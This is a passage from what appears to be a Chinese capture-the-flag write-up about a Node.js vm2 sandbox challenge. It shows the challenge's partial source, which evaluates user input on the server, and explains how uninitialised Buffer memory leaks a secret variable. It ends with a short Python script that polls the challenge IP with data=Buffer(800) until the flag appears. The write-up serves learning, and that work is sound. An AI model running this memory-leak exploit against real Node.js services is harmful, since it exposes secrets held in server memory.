    res.header("Content-Type", "text/plain");    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) { #取参数data的值
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));#采用eval函数执行命令取得buffer的内容
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});app.listen(3000, function() {
    console.log("listening on port 3000!");
});

泄露,给出了源码,应该是段Node.js代码,没太接触过
其中定义了变量flag,并且存在eval()函数,可能是需要命令执行,并且注释也提示了flag被藏在这里。查看到前面有var { VM } = require(“vm2”);,查阅资料后,得知是Node.js 官方安全沙箱的库

沙箱环境    VM2原理
    VM2基于VM,使用官方的VM库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。    vm2 特性    运行不受信任的JS脚本
    沙箱的终端输出信息完全可控
    沙箱内可以受限地加载modules
    可以安全地向沙箱间传递callback
    死循环攻击免疫 while (true) {}

在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

注:关于 Buffer
JavaScript 语言自身只有字符串数据类型,没有二进制数据类型。
但在处理像TCP流或文件流时,必须使用到二进制数据。因此在 Node.js中,定义了一个 Buffer 类,该类用来创建一个专门存放二进制数据的缓存区。

只要是调用过的变量,一定会存在内存中,所以需要使用Buffer()来读取内存,使用data=Buffer(800)分配一个800的单位为8位字节的buffer,编写Python3的EXP:

import requestsurl = 'http://111.200.241.244:51153/?data=Buffer(800)'while True:
    res = requests.get(url)
    print(res.status_code)    if 'flag{' in res.text:
        print(res.text)
        break

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部